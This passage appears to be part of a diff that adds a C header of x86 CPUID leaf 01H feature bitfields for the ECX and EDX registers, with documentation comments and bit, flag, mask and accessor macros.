CPUID_FEATURE_INFORMATION_ECX_STREAMING_SIMD_EXTENSIONS_3_BIT 0 +#define CPUID_FEATURE_INFORMATION_ECX_STREAMING_SIMD_EXTENSIONS_3_FLAG 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_STREAMING_SIMD_EXTENSIONS_3_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_STREAMING_SIMD_EXTENSIONS_3(_) (((_) >> 0) & 0x01) + + /** + * @brief PCLMULQDQ instruction + * + * [Bit 1] A value of 1 indicates the processor supports the PCLMULQDQ instruction. + */ + uint32_t pclmulqdq_instruction : 1; +#define CPUID_FEATURE_INFORMATION_ECX_PCLMULQDQ_INSTRUCTION_BIT 1 +#define CPUID_FEATURE_INFORMATION_ECX_PCLMULQDQ_INSTRUCTION_FLAG 0x02 +#define CPUID_FEATURE_INFORMATION_ECX_PCLMULQDQ_INSTRUCTION_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_PCLMULQDQ_INSTRUCTION(_) (((_) >> 1) & 0x01) + + /** + * @brief 64-bit DS Area + * + * [Bit 2] A value of 1 indicates the processor supports DS area using 64-bit layout. + */ + uint32_t ds_area_64bit_layout : 1; +#define CPUID_FEATURE_INFORMATION_ECX_DS_AREA_64BIT_LAYOUT_BIT 2 +#define CPUID_FEATURE_INFORMATION_ECX_DS_AREA_64BIT_LAYOUT_FLAG 0x04 +#define CPUID_FEATURE_INFORMATION_ECX_DS_AREA_64BIT_LAYOUT_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_DS_AREA_64BIT_LAYOUT(_) (((_) >> 2) & 0x01) + + /** + * @brief MONITOR/MWAIT instruction + * + * [Bit 3] A value of 1 indicates the processor supports this feature. + */ + uint32_t monitor_mwait_instruction : 1; +#define CPUID_FEATURE_INFORMATION_ECX_MONITOR_MWAIT_INSTRUCTION_BIT 3 +#define CPUID_FEATURE_INFORMATION_ECX_MONITOR_MWAIT_INSTRUCTION_FLAG 0x08 +#define CPUID_FEATURE_INFORMATION_ECX_MONITOR_MWAIT_INSTRUCTION_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_MONITOR_MWAIT_INSTRUCTION(_) (((_) >> 3) & 0x01) + + /** + * @brief CPL Qualified Debug Store + * + * [Bit 4] A value of 1 indicates the processor supports the extensions to the Debug Store feature to allow for branch + * message storage qualified by CPL. + */ + uint32_t cpl_qualified_debug_store : 1; +#define CPUID_FEATURE_INFORMATION_ECX_CPL_QUALIFIED_DEBUG_STORE_BIT 4 +#define CPUID_FEATURE_INFORMATION_ECX_CPL_QUALIFIED_DEBUG_STORE_FLAG 0x10 +#define CPUID_FEATURE_INFORMATION_ECX_CPL_QUALIFIED_DEBUG_STORE_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_CPL_QUALIFIED_DEBUG_STORE(_) (((_) >> 4) & 0x01) + + /** + * @brief Virtual Machine Extensions + * + * [Bit 5] A value of 1 indicates that the processor supports this technology. + */ + uint32_t virtual_machine_extensions : 1; +#define CPUID_FEATURE_INFORMATION_ECX_VIRTUAL_MACHINE_EXTENSIONS_BIT 5 +#define CPUID_FEATURE_INFORMATION_ECX_VIRTUAL_MACHINE_EXTENSIONS_FLAG 0x20 +#define CPUID_FEATURE_INFORMATION_ECX_VIRTUAL_MACHINE_EXTENSIONS_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_VIRTUAL_MACHINE_EXTENSIONS(_) (((_) >> 5) & 0x01) + + /** + * @brief Safer Mode Extensions + * + * [Bit 6] A value of 1 indicates that the processor supports this technology. + * + * @see Vol2[6(SAFER MODE EXTENSIONS REFERENCE)] + */ + uint32_t safer_mode_extensions : 1; +#define CPUID_FEATURE_INFORMATION_ECX_SAFER_MODE_EXTENSIONS_BIT 6 +#define CPUID_FEATURE_INFORMATION_ECX_SAFER_MODE_EXTENSIONS_FLAG 0x40 +#define CPUID_FEATURE_INFORMATION_ECX_SAFER_MODE_EXTENSIONS_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_SAFER_MODE_EXTENSIONS(_) (((_) >> 6) & 0x01) + + /** + * @brief Enhanced Intel SpeedStep(R) technology + * + * [Bit 7] A value of 1 indicates that the processor supports this technology. + */ + uint32_t enhanced_intel_speedstep_technology : 1; +#define CPUID_FEATURE_INFORMATION_ECX_ENHANCED_INTEL_SPEEDSTEP_TECHNOLOGY_BIT 7 +#define CPUID_FEATURE_INFORMATION_ECX_ENHANCED_INTEL_SPEEDSTEP_TECHNOLOGY_FLAG 0x80 +#define CPUID_FEATURE_INFORMATION_ECX_ENHANCED_INTEL_SPEEDSTEP_TECHNOLOGY_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_ENHANCED_INTEL_SPEEDSTEP_TECHNOLOGY(_) (((_) >> 7) & 0x01) + + /** + * @brief Thermal Monitor 2 + * + * [Bit 8] A value of 1 indicates whether the processor supports this technology. + */ + uint32_t thermal_monitor_2 : 1; +#define CPUID_FEATURE_INFORMATION_ECX_THERMAL_MONITOR_2_BIT 8 +#define CPUID_FEATURE_INFORMATION_ECX_THERMAL_MONITOR_2_FLAG 0x100 +#define CPUID_FEATURE_INFORMATION_ECX_THERMAL_MONITOR_2_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_THERMAL_MONITOR_2(_) (((_) >> 8) & 0x01) + + /** + * @brief Supplemental Streaming SIMD Extensions 3 (SSSE3) + * + * [Bit 9] A value of 1 indicates the presence of the Supplemental Streaming SIMD Extensions 3 (SSSE3). A value of 0 + * indicates the instruction extensions are not present in the processor. + */ + uint32_t supplemental_streaming_simd_extensions_3 : 1; +#define CPUID_FEATURE_INFORMATION_ECX_SUPPLEMENTAL_STREAMING_SIMD_EXTENSIONS_3_BIT 9 +#define CPUID_FEATURE_INFORMATION_ECX_SUPPLEMENTAL_STREAMING_SIMD_EXTENSIONS_3_FLAG 0x200 +#define CPUID_FEATURE_INFORMATION_ECX_SUPPLEMENTAL_STREAMING_SIMD_EXTENSIONS_3_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_SUPPLEMENTAL_STREAMING_SIMD_EXTENSIONS_3(_) (((_) >> 9) & 0x01) + + /** + * @brief L1 Context ID + * + * [Bit 10] A value of 1 indicates the L1 data cache mode can be set to either adaptive mode or shared mode. A value of 0 + * indicates this feature is not supported. See definition of the IA32_MISC_ENABLE MSR Bit 24 (L1 Data Cache Context Mode) + * for details. + */ + uint32_t l1_context_id : 1; +#define CPUID_FEATURE_INFORMATION_ECX_L1_CONTEXT_ID_BIT 10 +#define CPUID_FEATURE_INFORMATION_ECX_L1_CONTEXT_ID_FLAG 0x400 +#define CPUID_FEATURE_INFORMATION_ECX_L1_CONTEXT_ID_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_L1_CONTEXT_ID(_) (((_) >> 10) & 0x01) + + /** + * @brief IA32_DEBUG_INTERFACE MSR for silicon debug + * + * [Bit 11] A value of 1 indicates the processor supports IA32_DEBUG_INTERFACE MSR for silicon debug. + */ + uint32_t silicon_debug : 1; +#define CPUID_FEATURE_INFORMATION_ECX_SILICON_DEBUG_BIT 11 +#define CPUID_FEATURE_INFORMATION_ECX_SILICON_DEBUG_FLAG 0x800 +#define CPUID_FEATURE_INFORMATION_ECX_SILICON_DEBUG_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_SILICON_DEBUG(_) (((_) >> 11) & 0x01) + + /** + * @brief FMA extensions using YMM state + * + * [Bit 12] A value of 1 indicates the processor supports FMA (Fused Multiple Add) extensions using YMM state. + */ + uint32_t fma_extensions : 1; +#define CPUID_FEATURE_INFORMATION_ECX_FMA_EXTENSIONS_BIT 12 +#define CPUID_FEATURE_INFORMATION_ECX_FMA_EXTENSIONS_FLAG 0x1000 +#define CPUID_FEATURE_INFORMATION_ECX_FMA_EXTENSIONS_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_FMA_EXTENSIONS(_) (((_) >> 12) & 0x01) + + /** + * @brief CMPXCHG16B instruction + * + * [Bit 13] A value of 1 indicates that the feature is available. + */ + uint32_t cmpxchg16b_instruction : 1; +#define CPUID_FEATURE_INFORMATION_ECX_CMPXCHG16B_INSTRUCTION_BIT 13 +#define CPUID_FEATURE_INFORMATION_ECX_CMPXCHG16B_INSTRUCTION_FLAG 0x2000 +#define CPUID_FEATURE_INFORMATION_ECX_CMPXCHG16B_INSTRUCTION_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_CMPXCHG16B_INSTRUCTION(_) (((_) >> 13) & 0x01) + + /** + * @brief xTPR Update Control + * + * [Bit 14] A value of 1 indicates that the processor supports changing IA32_MISC_ENABLE[bit 23]. + */ + uint32_t xtpr_update_control : 1; +#define CPUID_FEATURE_INFORMATION_ECX_XTPR_UPDATE_CONTROL_BIT 14 +#define CPUID_FEATURE_INFORMATION_ECX_XTPR_UPDATE_CONTROL_FLAG 0x4000 +#define CPUID_FEATURE_INFORMATION_ECX_XTPR_UPDATE_CONTROL_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_XTPR_UPDATE_CONTROL(_) (((_) >> 14) & 0x01) + + /** + * @brief Perfmon and Debug Capability + * + * [Bit 15] A value of 1 indicates the processor supports the performance and debug feature indication MSR + * IA32_PERF_CAPABILITIES. + */ + uint32_t perfmon_and_debug_capability : 1; +#define CPUID_FEATURE_INFORMATION_ECX_PERFMON_AND_DEBUG_CAPABILITY_BIT 15 +#define CPUID_FEATURE_INFORMATION_ECX_PERFMON_AND_DEBUG_CAPABILITY_FLAG 0x8000 +#define CPUID_FEATURE_INFORMATION_ECX_PERFMON_AND_DEBUG_CAPABILITY_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_PERFMON_AND_DEBUG_CAPABILITY(_) (((_) >> 15) & 0x01) + uint32_t reserved1 : 1; + + /** + * @brief Process-context identifiers + * + * [Bit 17] A value of 1 indicates that the processor supports PCIDs and that software may set CR4.PCIDE to 1. + */ + uint32_t process_context_identifiers : 1; +#define CPUID_FEATURE_INFORMATION_ECX_PROCESS_CONTEXT_IDENTIFIERS_BIT 17 +#define CPUID_FEATURE_INFORMATION_ECX_PROCESS_CONTEXT_IDENTIFIERS_FLAG 0x20000 +#define CPUID_FEATURE_INFORMATION_ECX_PROCESS_CONTEXT_IDENTIFIERS_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_PROCESS_CONTEXT_IDENTIFIERS(_) (((_) >> 17) & 0x01) + + /** + * @brief Direct Cache Access + * + * [Bit 18] A value of 1 indicates the processor supports the ability to prefetch data from a memory mapped device (Direct + * Cache Access). + */ + uint32_t direct_cache_access : 1; +#define CPUID_FEATURE_INFORMATION_ECX_DIRECT_CACHE_ACCESS_BIT 18 +#define CPUID_FEATURE_INFORMATION_ECX_DIRECT_CACHE_ACCESS_FLAG 0x40000 +#define CPUID_FEATURE_INFORMATION_ECX_DIRECT_CACHE_ACCESS_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_DIRECT_CACHE_ACCESS(_) (((_) >> 18) & 0x01) + + /** + * @brief SSE4.1 support + * + * [Bit 19] A value of 1 indicates that the processor supports SSE4.1. + */ + uint32_t sse41_support : 1; +#define CPUID_FEATURE_INFORMATION_ECX_SSE41_SUPPORT_BIT 19 +#define CPUID_FEATURE_INFORMATION_ECX_SSE41_SUPPORT_FLAG 0x80000 +#define CPUID_FEATURE_INFORMATION_ECX_SSE41_SUPPORT_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_SSE41_SUPPORT(_) (((_) >> 19) & 0x01) + + /** + * @brief SSE4.2 support + * + * [Bit 20] A value of 1 indicates that the processor supports SSE4.2. + */ + uint32_t sse42_support : 1; +#define CPUID_FEATURE_INFORMATION_ECX_SSE42_SUPPORT_BIT 20 +#define CPUID_FEATURE_INFORMATION_ECX_SSE42_SUPPORT_FLAG 0x100000 +#define CPUID_FEATURE_INFORMATION_ECX_SSE42_SUPPORT_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_SSE42_SUPPORT(_) (((_) >> 20) & 0x01) + + /** + * @brief x2APIC support + * + * [Bit 21] A value of 1 indicates that the processor supports x2APIC feature. + */ + uint32_t x2apic_support : 1; +#define CPUID_FEATURE_INFORMATION_ECX_X2APIC_SUPPORT_BIT 21 +#define CPUID_FEATURE_INFORMATION_ECX_X2APIC_SUPPORT_FLAG 0x200000 +#define CPUID_FEATURE_INFORMATION_ECX_X2APIC_SUPPORT_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_X2APIC_SUPPORT(_) (((_) >> 21) & 0x01) + + /** + * @brief MOVBE instruction + * + * [Bit 22] A value of 1 indicates that the processor supports MOVBE instruction. + */ + uint32_t movbe_instruction : 1; +#define CPUID_FEATURE_INFORMATION_ECX_MOVBE_INSTRUCTION_BIT 22 +#define CPUID_FEATURE_INFORMATION_ECX_MOVBE_INSTRUCTION_FLAG 0x400000 +#define CPUID_FEATURE_INFORMATION_ECX_MOVBE_INSTRUCTION_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_MOVBE_INSTRUCTION(_) (((_) >> 22) & 0x01) + + /** + * @brief POPCNT instruction + * + * [Bit 23] A value of 1 indicates that the processor supports the POPCNT instruction. + */ + uint32_t popcnt_instruction : 1; +#define CPUID_FEATURE_INFORMATION_ECX_POPCNT_INSTRUCTION_BIT 23 +#define CPUID_FEATURE_INFORMATION_ECX_POPCNT_INSTRUCTION_FLAG 0x800000 +#define CPUID_FEATURE_INFORMATION_ECX_POPCNT_INSTRUCTION_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_POPCNT_INSTRUCTION(_) (((_) >> 23) & 0x01) + + /** + * @brief TSC Deadline + * + * [Bit 24] A value of 1 indicates that the processor's local APIC timer supports one-shot operation using a TSC deadline + * value. + */ + uint32_t tsc_deadline : 1; +#define CPUID_FEATURE_INFORMATION_ECX_TSC_DEADLINE_BIT 24 +#define CPUID_FEATURE_INFORMATION_ECX_TSC_DEADLINE_FLAG 0x1000000 +#define CPUID_FEATURE_INFORMATION_ECX_TSC_DEADLINE_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_TSC_DEADLINE(_) (((_) >> 24) & 0x01) + + /** + * @brief AESNI instruction extensions + * + * [Bit 25] A value of 1 indicates that the processor supports the AESNI instruction extensions. + */ + uint32_t aesni_instruction_extensions : 1; +#define CPUID_FEATURE_INFORMATION_ECX_AESNI_INSTRUCTION_EXTENSIONS_BIT 25 +#define CPUID_FEATURE_INFORMATION_ECX_AESNI_INSTRUCTION_EXTENSIONS_FLAG 0x2000000 +#define CPUID_FEATURE_INFORMATION_ECX_AESNI_INSTRUCTION_EXTENSIONS_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_AESNI_INSTRUCTION_EXTENSIONS(_) (((_) >> 25) & 0x01) + + /** + * @brief XSAVE/XRSTOR instruction extensions + * + * [Bit 26] A value of 1 indicates that the processor supports the XSAVE/XRSTOR processor extended states feature, the + * XSETBV/XGETBV instructions, and XCR0. + */ + uint32_t xsave_xrstor_instruction : 1; +#define CPUID_FEATURE_INFORMATION_ECX_XSAVE_XRSTOR_INSTRUCTION_BIT 26 +#define CPUID_FEATURE_INFORMATION_ECX_XSAVE_XRSTOR_INSTRUCTION_FLAG 0x4000000 +#define CPUID_FEATURE_INFORMATION_ECX_XSAVE_XRSTOR_INSTRUCTION_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_XSAVE_XRSTOR_INSTRUCTION(_) (((_) >> 26) & 0x01) + + /** + * @brief CR4.OSXSAVE[bit 18] set + * + * [Bit 27] A value of 1 indicates that the OS has set CR4.OSXSAVE[bit 18] to enable XSETBV/XGETBV instructions to access + * XCR0 and to support processor extended state management using XSAVE/XRSTOR. + */ + uint32_t osx_save : 1; +#define CPUID_FEATURE_INFORMATION_ECX_OSX_SAVE_BIT 27 +#define CPUID_FEATURE_INFORMATION_ECX_OSX_SAVE_FLAG 0x8000000 +#define CPUID_FEATURE_INFORMATION_ECX_OSX_SAVE_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_OSX_SAVE(_) (((_) >> 27) & 0x01) + + /** + * @brief AVX instruction extensions support + * + * [Bit 28] A value of 1 indicates the processor supports the AVX instruction extensions. + */ + uint32_t avx_support : 1; +#define CPUID_FEATURE_INFORMATION_ECX_AVX_SUPPORT_BIT 28 +#define CPUID_FEATURE_INFORMATION_ECX_AVX_SUPPORT_FLAG 0x10000000 +#define CPUID_FEATURE_INFORMATION_ECX_AVX_SUPPORT_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_AVX_SUPPORT(_) (((_) >> 28) & 0x01) + + /** + * @brief 16-bit floating-point conversion instructions support + * + * [Bit 29] A value of 1 indicates that processor supports 16-bit floating-point conversion instructions. + */ + uint32_t half_precision_conversion_instructions : 1; +#define CPUID_FEATURE_INFORMATION_ECX_HALF_PRECISION_CONVERSION_INSTRUCTIONS_BIT 29 +#define CPUID_FEATURE_INFORMATION_ECX_HALF_PRECISION_CONVERSION_INSTRUCTIONS_FLAG 0x20000000 +#define CPUID_FEATURE_INFORMATION_ECX_HALF_PRECISION_CONVERSION_INSTRUCTIONS_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_HALF_PRECISION_CONVERSION_INSTRUCTIONS(_) (((_) >> 29) & 0x01) + + /** + * @brief RDRAND instruction support + * + * [Bit 30] A value of 1 indicates that processor supports RDRAND instruction. + */ + uint32_t rdrand_instruction : 1; +#define CPUID_FEATURE_INFORMATION_ECX_RDRAND_INSTRUCTION_BIT 30 +#define CPUID_FEATURE_INFORMATION_ECX_RDRAND_INSTRUCTION_FLAG 0x40000000 +#define CPUID_FEATURE_INFORMATION_ECX_RDRAND_INSTRUCTION_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_RDRAND_INSTRUCTION(_) (((_) >> 30) & 0x01) + uint32_t reserved2 : 1; + }; + + uint32_t flags; + } cpuid_feature_information_ecx; + + /** + * @brief When CPUID executes with EAX set to 01H, feature information is returned in ECX and EDX + */ + union + { + struct + { + /** + * @brief Floating Point Unit On-Chip + * + * [Bit 0] The processor contains an x87 FPU. + */ + uint32_t floating_point_unit_on_chip : 1; +#define CPUID_FEATURE_INFORMATION_EDX_FLOATING_POINT_UNIT_ON_CHIP_BIT 0 +#define CPUID_FEATURE_INFORMATION_EDX_FLOATING_POINT_UNIT_ON_CHIP_FLAG 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_FLOATING_POINT_UNIT_ON_CHIP_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_FLOATING_POINT_UNIT_ON_CHIP(_) (((_) >> 0) & 0x01) + + /** + * @brief Virtual 8086 Mode Enhancements + * + * [Bit 1] Virtual 8086 mode enhancements, including CR4.VME for controlling the feature, CR4.PVI for protected mode + * virtual interrupts, software interrupt indirection, expansion of the TSS with the software indirection bitmap, and + * EFLAGS.VIF and EFLAGS.VIP flags. + */ + uint32_t virtual_8086_mode_enhancements : 1; +#define CPUID_FEATURE_INFORMATION_EDX_VIRTUAL_8086_MODE_ENHANCEMENTS_BIT 1 +#define CPUID_FEATURE_INFORMATION_EDX_VIRTUAL_8086_MODE_ENHANCEMENTS_FLAG 0x02 +#define CPUID_FEATURE_INFORMATION_EDX_VIRTUAL_8086_MODE_ENHANCEMENTS_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_VIRTUAL_8086_MODE_ENHANCEMENTS(_) (((_) >> 1) & 0x01) + + /** + * @brief Debugging Extensions + * + * [Bit 2] Support for I/O breakpoints, including CR4.DE for controlling the feature, and optional trapping of accesses to + * DR4 and DR5. + */ + uint32_t debugging_extensions : 1; +#define CPUID_FEATURE_INFORMATION_EDX_DEBUGGING_EXTENSIONS_BIT 2 +#define CPUID_FEATURE_INFORMATION_EDX_DEBUGGING_EXTENSIONS_FLAG 0x04 +#define CPUID_FEATURE_INFORMATION_EDX_DEBUGGING_EXTENSIONS_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_DEBUGGING_EXTENSIONS(_) (((_) >> 2) & 0x01) + + /** + * @brief Page Size Extension + * + * [Bit 3] Large pages of size 4 MByte are supported, including CR4.PSE for controlling the feature, the defined dirty bit + * in PDE (Page Directory Entries), optional reserved bit trapping in CR3, PDEs, and PTEs. + */ + uint32_t page_size_extension : 1; +#define CPUID_FEATURE_INFORMATION_EDX_PAGE_SIZE_EXTENSION_BIT 3 +#define CPUID_FEATURE_INFORMATION_EDX_PAGE_SIZE_EXTENSION_FLAG 0x08 +#define CPUID_FEATURE_INFORMATION_EDX_PAGE_SIZE_EXTENSION_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_PAGE_SIZE_EXTENSION(_) (((_) >> 3) & 0x01) + + /** + * @brief Time Stamp Counter + * + * [Bit 4] The RDTSC instruction is supported, including CR4.TSD for controlling privilege. + */ + uint32_t timestamp_counter : 1; +#define CPUID_FEATURE_INFORMATION_EDX_TIMESTAMP_COUNTER_BIT 4 +#define CPUID_FEATURE_INFORMATION_EDX_TIMESTAMP_COUNTER_FLAG 0x10 +#define CPUID_FEATURE_INFORMATION_EDX_TIMESTAMP_COUNTER_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_TIMESTAMP_COUNTER(_) (((_) >> 4) & 0x01) + + /** + * @brief Model Specific Registers RDMSR and WRMSR Instructions + * + * [Bit 5] The RDMSR and WRMSR instructions are supported. Some of the MSRs are implementation dependent. + */ + uint32_t rdmsr_wrmsr_instructions : 1; +#define CPUID_FEATURE_INFORMATION_EDX_RDMSR_WRMSR_INSTRUCTIONS_BIT 5 +#define CPUID_FEATURE_INFORMATION_EDX_RDMSR_WRMSR_INSTRUCTIONS_FLAG 0x20 +#define CPUID_FEATURE_INFORMATION_EDX_RDMSR_WRMSR_INSTRUCTIONS_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_RDMSR_WRMSR_INSTRUCTIONS(_) (((_) >> 5) & 0x01) + + /** + * @brief Physical Address Extension + * + * [Bit 6] Physical addresses greater than 32 bits are supported: extended page table entry formats, an extra level in the + * page translation tables is defined, 2-MByte pages are supported instead of 4 Mbyte pages if PAE bit is 1. + */ + uint32_t physical_address_extension : 1; +#define CPUID_FEATURE_INFORMATION_EDX_PHYSICAL_ADDRESS_EXTENSION_BIT 6 +#define CPUID_FEATURE_INFORMATION_EDX_PHYSICAL_ADDRESS_EXTENSION_FLAG 0x40 +#define CPUID_FEATURE_INFORMATION_EDX_PHYSICAL_ADDRESS_EXTENSION_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_PHYSICAL_ADDRESS_EXTENSION(_) (((_) >> 6) & 0x01) + + /** + * @brief Machine Check Exception + * + * [Bit 7] Exception 18 is defined for Machine Checks, including CR4.MCE for controlling the feature. This feature does not + * define the model-specific implementations of machine-check error logging, reporting, and processor shutdowns. Machine + * Check exception handlers may have to depend on processor version to do model specific processing of the exception, or + * test for the presence of the Machine Check feature. + */ + uint32_t machine_check_exception : 1; +#define CPUID_FEATURE_INFORMATION_EDX_MACHINE_CHECK_EXCEPTION_BIT 7 +#define CPUID_FEATURE_INFORMATION_EDX_MACHINE_CHECK_EXCEPTION_FLAG 0x80 +#define CPUID_FEATURE_INFORMATION_EDX_MACHINE_CHECK_EXCEPTION_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_MACHINE_CHECK_EXCEPTION(_) (((_) >> 7) & 0x01) + + /** + * @brief CMPXCHG8B Instruction + * + * [Bit 8] The compare-and-exchange 8 bytes (64 bits) instruction is supported (implicitly locked and atomic). + */ + uint32_t cmpxchg8b : 1; +#define CPUID_FEATURE_INFORMATION_EDX_CMPXCHG8B_BIT 8 +#define CPUID_FEATURE_INFORMATION_EDX_CMPXCHG8B_FLAG 0x100 +#define CPUID_FEATURE_INFORMATION_EDX_CMPXCHG8B_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_CMPXCHG8B(_) (((_) >> 8) & 0x01) + + /** + * @brief APIC On-Chip + * + * [Bit 9] The processor contains an Advanced Programmable Interrupt Controller (APIC), responding to memory mapped + * commands in the physical address range FFFE0000H to FFFE0FFFH (by default - some processors permit the APIC to be + * relocated). + */ + uint32_t apic_on_chip : 1; +#define CPUID_FEATURE_INFORMATION_EDX_APIC_ON_CHIP_BIT 9 +#define CPUID_FEATURE_INFORMATION_EDX_APIC_ON_CHIP_FLAG 0x200 +#define CPUID_FEATURE_INFORMATION_EDX_APIC_ON_CHIP_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_APIC_ON_CHIP(_) (((_) >> 9) & 0x01) + uint32_t reserved1 : 1; + + /** + * @brief SYSENTER and SYSEXIT Instructions + * + * [Bit 11] The SYSENTER and SYSEXIT and associated MSRs are supported. + */ + uint32_t sysenter_sysexit_instructions : 1; +#define CPUID_FEATURE_INFORMATION_EDX_SYSENTER_SYSEXIT_INSTRUCTIONS_BIT 11 +#define CPUID_FEATURE_INFORMATION_EDX_SYSENTER_SYSEXIT_INSTRUCTIONS_FLAG 0x800 +#define CPUID_FEATURE_INFORMATION_EDX_SYSENTER_SYSEXIT_INSTRUCTIONS_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_SYSENTER_SYSEXIT_INSTRUCTIONS(_) (((_) >> 11) & 0x01) + + /** + * @brief Memory Type Range Registers + * + * [Bit 12] MTRRs are supported. The MTRRcap MSR contains feature bits that describe what memory types are supported, how + * many variable MTRRs are supported, and whether fixed MTRRs are supported. + */ + uint32_t memory_type_range_registers : 1; +#define CPUID_FEATURE_INFORMATION_EDX_MEMORY_TYPE_RANGE_REGISTERS_BIT 12 +#define CPUID_FEATURE_INFORMATION_EDX_MEMORY_TYPE_RANGE_REGISTERS_FLAG 0x1000 +#define CPUID_FEATURE_INFORMATION_EDX_MEMORY_TYPE_RANGE_REGISTERS_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_MEMORY_TYPE_RANGE_REGISTERS(_) (((_) >> 12) & 0x01) + + /** + * @brief Page Global Bit + * + * [Bit 13] The global bit is supported in paging-structure entries that map a page, indicating TLB entries that are common + * to different processes and need not be flushed. The CR4.PGE bit controls this feature. + */ + uint32_t page_global_bit : 1; +#define CPUID_FEATURE_INFORMATION_EDX_PAGE_GLOBAL_BIT_BIT 13 +#define CPUID_FEATURE_INFORMATION_EDX_PAGE_GLOBAL_BIT_FLAG 0x2000 +#define CPUID_FEATURE_INFORMATION_EDX_PAGE_GLOBAL_BIT_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_PAGE_GLOBAL_BIT(_) (((_) >> 13) & 0x01) + + /** + * @brief Machine Check Architecture + * + * [Bit 14] A value of 1 indicates the Machine Check Architecture of reporting machine errors is supported. The MCG_CAP MSR + * contains feature bits describing how many banks of error reporting MSRs are supported. + */ + uint32_t machine_check_architecture : 1; +#define CPUID_FEATURE_INFORMATION_EDX_MACHINE_CHECK_ARCHITECTURE_BIT 14 +#define CPUID_FEATURE_INFORMATION_EDX_MACHINE_CHECK_ARCHITECTURE_FLAG 0x4000 +#define CPUID_FEATURE_INFORMATION_EDX_MACHINE_CHECK_ARCHITECTURE_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_MACHINE_CHECK_ARCHITECTURE(_) (((_) >> 14) & 0x01) + + /** + * @brief Conditional Move Instructions + * + * [Bit 15] The conditional move instruction CMOV is supported. In addition, if x87 FPU is present as indicated by the + * CPUID.FPU feature bit, then the FCOMI and FCMOV instructions are supported + */ + uint32_t conditional_move_instructions : 1; +#define CPUID_FEATURE_INFORMATION_EDX_CONDITIONAL_MOVE_INSTRUCTIONS_BIT 15 +#define CPUID_FEATURE_INFORMATION_EDX_CONDITIONAL_MOVE_INSTRUCTIONS_FLAG 0x8000 +#define CPUID_FEATURE_INFORMATION_EDX_CONDITIONAL_MOVE_INSTRUCTIONS_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_CONDITIONAL_MOVE_INSTRUCTIONS(_) (((_) >> 15) & 0x01) + + /** + * @brief Page Attribute Table + * + * [Bit 16] Page Attribute Table is supported. This feature augments the Memory Type Range Registers (MTRRs), allowing an + * operating system to specify attributes of memory accessed through a linear address on a 4KB granularity. + */ + uint32_t page_attribute_table : 1; +#define CPUID_FEATURE_INFORMATION_EDX_PAGE_ATTRIBUTE_TABLE_BIT 16 +#define CPUID_FEATURE_INFORMATION_EDX_PAGE_ATTRIBUTE_TABLE_FLAG 0x10000 +#define CPUID_FEATURE_INFORMATION_EDX_PAGE_ATTRIBUTE_TABLE_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_PAGE_ATTRIBUTE_TABLE(_) (((_) >> 16) & 0x01) + + /** + * @brief 36-Bit Page Size Extension + * + * [Bit 17] 4-MByte pages addressing physical memory beyond 4 GBytes are supported with 32-bit paging. This feature + * indicates that upper bits of the physical address of a 4-MByte page are encoded in bits 20:13 of the page-directory + * entry. Such physical addresses are limited by MAXPHYADDR and may be up to 40 bits in size. + */ + uint32_t page_size_extension_36bit : 1; +#define CPUID_FEATURE_INFORMATION_EDX_PAGE_SIZE_EXTENSION_36BIT_BIT 17 +#define CPUID_FEATURE_INFORMATION_EDX_PAGE_SIZE_EXTENSION_36BIT_FLAG 0x20000 +#define CPUID_FEATURE_INFORMATION_EDX_PAGE_SIZE_EXTENSION_36BIT_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_PAGE_SIZE_EXTENSION_36BIT(_) (((_) >> 17) & 0x01) + + /** + * @brief Processor Serial Number + * + * [Bit 18] The processor supports the 96-bit processor identification number feature and the feature is enabled. + */ + uint32_t processor_serial_number : 1; +#define 